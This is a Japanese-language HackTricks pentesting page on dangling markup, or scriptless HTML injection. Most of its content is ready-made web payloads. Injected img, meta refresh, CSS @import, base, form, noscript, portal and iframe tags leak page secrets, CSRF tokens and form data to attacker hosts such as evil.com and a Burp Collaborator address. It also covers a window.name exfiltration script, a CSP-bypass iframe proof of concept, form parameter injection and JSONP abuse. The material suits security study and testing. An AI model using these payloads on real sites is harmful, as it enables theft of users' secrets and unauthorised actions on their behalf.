.. | ||
README.md | ||
ss-leaks.md |
ダングリングマークアップ - HTMLスクリプトレスインジェクション
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォロー**する。
- **ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
要約
このテクニックは、HTMLインジェクションが見つかったときにユーザーから情報を抽出するために使用できます。これは、XSSを悪用する方法が見つからない場合に非常に便利ですが、いくつかのHTMLタグをインジェクトできる場合に役立ちます。
また、いくつかの秘密が平文で保存されており、クライアントからそれを外部に送信したい場合や、スクリプトの実行を誤誘導したい場合にも役立ちます。
ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかのコンテンツセキュリティポリシーをバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。
主な応用
平文の秘密を盗む
ページが読み込まれるときに<img src='http://evil.com/log.cgi?
をインジェクトすると、被害者はインジェクトされたimg
タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密がある場合、それを盗みます(同じことを二重引用符を使用して行うこともできます。より興味深いものになる可能性があるかどうかを確認してください)。
img
タグが禁止されている場合(たとえばCSPのため)、<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
を使用することもできます。
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
注意してください。Chromeは、"<"や"\n"を含むHTTP URLをブロックしますので、"ftp"など他のプロトコルスキームを試すことができます。
また、CSSの@import
を悪用することもできます(";"が見つかるまでコード全体を送信します)。
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
あなたは**<table
**を使用することもできます:
<table background='//your-collaborator-id.burpcollaborator.net?'
以下は、<base
タグを挿入することもできます。引用符が閉じられるまですべての情報が送信されますが、ユーザーの操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、baseタグがリンクが指すドメインを変更しているためです):
<base target=' <--- Injected
steal me'<b>test</b>
フォームの盗み取り
<base href='http://evil.com/'>
フォームの盗み取り 2
フォームヘッダーを設定します:<form action='http://evil.com/log_steal'>
これにより、次のフォームヘッダーが上書きされ、フォームのすべてのデータが攻撃者に送信されます。
フォームの盗み取り 3
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます:
<button name=xss type=submit formaction='https://google.com'>I get consumed!
クリアテキストの秘密情報の盗み取り2
最新のテクニックを使用してフォームを盗み取る(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます:
<input type='hidden' name='review_body' value="
そして、この入力フィールドには、HTML内の二重引用符と次の二重引用符の間のすべてのコンテンツが含まれます。この攻撃は、"Stealing clear text secrets"と"Stealing forms2"を組み合わせています。
同じことを、フォームと<option>
タグを注入することで行うことができます。閉じられた</option>
が見つかるまでのすべてのデータが送信されます:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
フォームパラメーターインジェクション
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行される可能性があります:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
noscriptを通じたクリアテキストの秘密情報の盗み出し
<noscript></noscript>
は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグです(ChromeでJavaScriptを有効/無効にするには、chrome://settings/content/javascriptにアクセスしてください)。
攻撃者が制御するサイトに、挿入ポイントからWebページの内容を盗み出す方法は、次のように挿入することです:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
ユーザーインタラクションを利用してCSPをバイパスする
このポートスウィガーの研究から、最もCSPが制限された環境でも、ユーザーインタラクションを使ってデータを外部に送信することができることがわかります。この場合、以下のペイロードを使用します:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
注意してください。被害者にリンクをクリックしてもらい、あなたが制御する****ペイロードにリダイレクトさせるように依頼します。また、base
タグ内のtarget
属性には、次のシングルクォートまでHTMLコンテンツが含まれていることに注意してください。
これにより、リンクがクリックされた場合の**window.name
の値は、そのHTMLコンテンツ全体になります。したがって、リンクをクリックして被害者がアクセスしているページを制御しているため、window.name
にアクセスしてそのデータを外部送信**することができます。
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
誤解を招くスクリプトワークフロー1 - HTMLネームスペース攻撃
次のものを上書きし、スクリプトのフローに影響を与える値を持つ新しいタグをHTML内に挿入します。この例では、情報を共有する相手を選択しています:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
誤解を招くスクリプトワークフロー2 - スクリプト名前空間攻撃
HTMLタグを挿入してJavaScript名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
JSONPの悪用
JSONPインターフェースを見つけた場合、任意のデータを使用して任意の関数を呼び出すことができるかもしれません:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
または、JavaScript を実行しようとすることさえできます:
<script src='/search?q=a&call=alert(1)'></script>
Iframeの悪用
子ドキュメントは、親のlocation
プロパティをクロスオリジンの状況でも表示および変更する機能を持っています。これにより、iframe内にスクリプトを埋め込み、クライアントを任意のページにリダイレクトさせることが可能です。
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
これは次のようにして緩和することができます: sandbox=' allow-scripts allow-top-navigation'
また、別のページから機密情報を漏洩させるためにiframeを悪用することもできます iframeのname属性を使用。これは、機密情報がiframeのname属性内に表示されるようにするHTMLインジェクションを悪用して自分自身をiframe化するiframeを作成できるため、初期のiframeからその名前にアクセスして漏洩させることができます。
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<metaの悪用
**meta http-equiv
**を使用してCookieを設定するなど、複数のアクションを実行できます:<meta http-equiv="Set-Cookie" Content="SESSID=1">
またはリダイレクトを実行する(この場合は5秒後に):<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
これはhttp-equivに関するCSPで回避できます(Content-Security-Policy: default-src 'self';
、またはContent-Security-Policy: http-equiv 'self';
)
新しい<portal HTMLタグ
<portalタグの脆弱性に関する非常に興味深い研究をこちらで見つけることができます。
この執筆時点では、Chromeでchrome://flags/#enable-portals
でportalタグを有効にする必要があります。それ以外の場合は機能しません。
<portal src='https://attacker-server?
HTML リーク
HTML で接続情報を漏洩させる方法のすべてが Dangling Markup に役立つわけではありませんが、時には役立つこともあります。こちらで確認できます: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
これは dangling markup と XS-Leaks のミックスです。脆弱性の一方では、攻撃対象となるページの 同一オリジン に HTML(JS ではない)を 注入 することができます。他方では、HTML を注入できるページを直接攻撃するのではなく、別のページ を攻撃します。
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search は サイドチャネル攻撃を悪用してクロスオリジン情報を外部流出 することを目的としています。そのため、これは Dangling Markup とは異なる技術ですが、一部の技術は HTML タグの含有を悪用しています(JS の実行あり・なし)、例えば CSS Injection や Lazy Load Images.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
参考文献
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝 したい場合や HackTricks を PDF でダウンロード したい場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksスウォッグを手に入れる
- The PEASS Family を発見し、独占的な NFTs のコレクションを見つける
- **💬 Discord グループ に参加するか、telegram グループ に参加するか、Twitter 🐦 @carlospolopm をフォローする
- ハッキングトリックを共有するために HackTricks と HackTricks Cloud の GitHub リポジトリに PR を提出する